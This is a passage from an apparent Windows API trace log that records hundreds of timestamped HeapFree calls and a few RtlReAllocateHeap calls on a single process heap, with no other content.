hHeap=0x420000) returned 1 [0176.073] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0176.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.372] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0176.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.397] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0176.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0176.408] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.932] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44650a8 | out: hHeap=0x420000) returned 1 [0177.040] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x3d35a48, Size=0x4000) returned 0x44850b8 [0177.045] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x44850b8, Size=0x8000) returned 0x4423080 [0177.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44750b0 | out: hHeap=0x420000) returned 1 [0177.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0177.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44750b0 | out: hHeap=0x420000) returned 1 [0177.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44650a8 | out: hHeap=0x420000) returned 1 [0177.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44630a8 | out: hHeap=0x420000) returned 1 [0177.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44630a8 | out: hHeap=0x420000) returned 1 [0178.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44630a8 | out: hHeap=0x420000) returned 1 [0178.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0178.123] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0178.168] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0178.176] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.643] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0179.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0179.865] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0179.919] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0180.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0180.276] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0180.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0180.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0180.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0180.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0180.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0180.501] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0180.845] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0180.979] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0181.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0181.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.296] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.305] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.311] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.660] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c50d0 | out: hHeap=0x420000) returned 1 [0182.663] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.664] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.666] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.667] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.669] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.671] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.672] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.674] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.675] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45750f8 | out: hHeap=0x420000) returned 1 [0182.675] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0182.675] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0182.677] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0182.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.516] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.812] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.817] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.818] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.820] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.821] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.824] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.829] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.833] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0183.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.150] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.152] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.154] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.157] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.158] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.163] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.163] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0184.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.171] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.177] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.181] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.312] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.504] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.506] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.508] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.511] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.513] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.515] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.517] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.519] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.521] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.584] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.631] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.663] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.668] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.691] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.868] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.869] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.869] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.870] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.882] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.887] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0184.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0184.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0185.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0185.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.142] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.363] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.367] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, 